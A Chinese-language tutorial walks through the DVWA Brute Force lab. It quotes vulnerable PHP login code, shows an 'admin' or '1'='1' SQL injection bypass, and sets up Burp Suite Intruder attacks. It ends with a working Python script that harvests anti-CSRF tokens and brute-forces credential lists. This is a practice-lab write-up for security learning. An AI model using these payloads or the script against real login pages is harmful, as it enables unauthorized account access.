1. 程式人生 > 實用技巧 >DVWA Brute Force:暴力破解篇

DVWA Brute Force:暴力破解篇

DVWA

Brute Force:暴力破解篇

  • 前言
    暴力破解是破解使用者名稱密碼的常用手段,主要是利用資訊蒐集得到有用資訊來構造有針對性的弱口令字典,對網站進行爆破,以獲取到使用者的賬號資訊,有可能利用其許可權進行一些非法操作。DVWA雖然是一個比較老的靶場,但其題目作為新手入門還是相當友好,大有裨益的,現有的網站添加了驗證碼、各種引數來阻止暴力破解,但驗證碼是可以被機器識別的,各種引數也是可以被構造的,只要掌握了其底層原理,我們依然可以使用該手段進行攻擊。

Low級別

  • 程式碼
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
	//可以發現只要query語句能夠查詢到結果,就可以進入這個if成功登入
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
  • 方法一:萬能密碼
    雖然名為Brute Force,但第一題可以用SQL注入來做,並且非常簡單。
    觀察原始碼,不難發現只要query語句能夠查詢到結果,就可以成功登入。於是構造語句如下,成功登入:

  • 關鍵程式碼解析

//這一句程式碼要求result語句能夠查詢到結果
if( $result && mysqli_num_rows( $result ) == 1 )

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//我們將 admin' or '1'='1 注入到程式碼中之後,由於後臺沒有對其進行過濾,我們得到的query語句如下:
SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';
//這樣,該語句就被or分成了兩個部分,由於第一部分一定能夠查詢到結果,後面的語句並不影響最終結果,所以我們無需在資料庫中匹配到正確密碼,只要使用者名稱正確就可以成功注入

Medium級別

  • 程式碼
<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
  • 可以注意到,相比上一題,本題有以下特點:
  1. 登入失敗會有sleep(2),有2秒的時延
  2. 後臺使用mysqli_real_escape_string函式對輸入進行了過濾,我們上菜鳥教程看下,可以知道這個函式是用來過濾某些特殊字元的,比如我們在上一題裡用到的引號。

既然是暴力破解,我們這裡用burpsuite來抓包做一下爆破,使用火狐瀏覽器來設定一下代理,在火狐設定選項中找到代理,其他瀏覽器也有相關外掛或選項可以進行設定。然後給Burpsuite也設定一下代理,這裡的火狐代理和burp代理需要是一樣的,配置如下圖。

PS:在這期間我遇到一個問題,burpsuite無法抓取本地資料包,於是我修改localhost為本機ip,因為localhost還會指向ipv6的域名,導致衝突,所以使用本機ipv4的ip就可以解決這一問題。



然後抓包,可以看到這裡使用GET請求提交的使用者名稱和密碼引數,於是我們將抓取到的資料傳送到Intruder,點選clear刪除掉所有變數,然後游標選中密碼對應值(這裡是aaa),點選add將其設定為變數。



然後點選Payloads,輸入破解用的金鑰(如果有弱口令字典可以點load匯入)。


PS:這裡我又遇到一個問題,就是爆破之後返回狀態碼都為302重定向,如果有遇到這個問題的朋友,在Options最底下一項Redirection勾選always,就可以自動跟隨重定向了。

然後點選右上角Start attack,可以看到payload為password一欄的length不一樣,這就是我們想要的密碼,第二題Over!

High級別

  • 程式碼
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

相對上一題,本題主要多了這幾個特點:

  1. 使用stripslashes函式對使用者名稱和密碼進行過濾
    stripslashes函式:用來去除字串中的反斜槓,如果出現連續兩個的反斜槓,則只去掉一個
  2. 對密碼進行md5加密(但這對我們沒有影響)
  3. 使用generateSessionToken函式加入了Token,可以抵禦CSRF攻擊,增加了爆破的難度
    generateSessionToken函式:用來生成token令牌,token值會不斷變化,因此不能使用一般的爆破手段
  • 思路:這一題的難點在於token令牌,每次我們登陸時,頁面會給我們返回一個token值,下次登陸時我們需要攜帶這個值讓伺服器來驗證,這意味著我們多出了一個不可控的變數。

  • 方法一:Burpsuite抓包爆破

    我們依然可以選擇使用burpsuite來對其進行爆破,只是流程比上一題複雜了一點。首先配置代理,和上面一樣,抓包然後ctrl + i,send to Intruder,點選clear,然後選中password和token的值,點add設定為變數,把上面的Attack type攻擊型別選項設定為Pitchfork(叉子模式)

    這裡補充下Burpsuite的四種AttackType

    Attack Type 特點
    Sniper(狙擊手) 對變數依次進行破解,多個標記依次進行。對每個爆破點使用相同字典進行爆破(類似單執行緒)
    Battering ram(工程錘) 對變數同時進行破解,多個標記同時進行。對多個爆破點使用相同字典同時進行爆破(類似多執行緒)
    Pitchfork(叉子) 對兩個爆破點使用不同字典同時進行爆破
    Cluster Bomb(集束炸彈) 相當於二重迴圈,對每個第一個點的值,迴圈對第二個點進行爆破(例如對多個使用者,迴圈對每個使用者名稱使用相同密碼字典進行爆破)

    那Token值要怎麼捕獲到呢?通過檢視網頁原始碼,我們可以知道它在value這個位置,注意複製這個value,後面有用。


還是先到Options裡選擇一直跟隨重定向,然後去Grep - Extract(通過正則提取資訊的一個模組)裡點選add找value的值,結果???有點問題。沒事,我們要的值就在下面,直接滑鼠選中就行了


然後到Payloads,先設定匯入字典,然後在Payloads Set中設定Payloads Set為2,Payloads Type為Recursive grep遞迴查詢,把token值放進去,Start Attack,成功!

  • 方法二:Python指令碼爆破

注:程式碼雖然寫了很詳細的註釋,但還是推薦有學過python爬蟲的朋友看,沒有學過的朋友看起來可能比較困難。

如果有朋友學過爬蟲,那答案也非常簡單。我們可以使用指令碼來抓取每次生成的token,在下一次登入時攜帶該token進行爆破,這裡我們使用Python來編寫這個爆破指令碼,使用時記得替換獲取到的Cookie值。

import requests
from lxml import etree
from bs4 import BeautifulSoup

# 獲取頁面中的Token          
def getToken(url, headers):
    # 得到HTML,並將其例項化為一個tree物件,利用xpath(類似選擇器的原理)定位到token值所在位置並獲取
    page_text = requests.get(url=url, headers=headers).text
    tree = etree.HTML(page_text)
    user_token = tree.xpath('//form/input[4]/@value')[0]
    print(user_token)

    return user_token

if __name__ == "__main__":
    # 設定引數進行UA偽裝並攜帶Cookie
    headers = {
        'User-Agent':
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
        'Cookie': 'security=high; PHPSESSID=gqdal64o4bsbbgj0r9sg6r3lq0'
    }
    url = 'http://169.254.48.14/dvwa-master/vulnerabilities/brute/index.php'

    # 從檔案中獲取使用者名稱和密碼進行爆破(這裡的爆破模式類似於Burp中的Cluster Bomb模式)
    count = 1
    with open('user.txt', 'r', encoding='utf-8') as userList:
        for admin in userList:
            with open('password.txt', 'r', encoding='utf-8') as pwdList:
                for line in pwdList:
                    username = admin.strip()
                    password = line.strip()
                    # 每次傳送請求前獲取token值,設定好get請求所需要的引數
                    user_token = getToken(url, headers)
                    payload = {
                        'username': username,
                        'password': password,
                        'Login': 'Login',
                        'user_token': user_token
                    }
                    response = requests.get(url=url, headers=headers, params=payload).content
                    # 整理下輸出格式
                    print("{:<6}".format(count), "{:<15}".format(username), "{:<15}".format(password), len(response.decode()))
                    count += 1

結果如下,第4項位元組長度與其他的不一致,即為管理員正確的使用者密碼。

感謝閱讀,之後還會再更新DVWA的其他部分,感興趣的朋友不妨點個關注。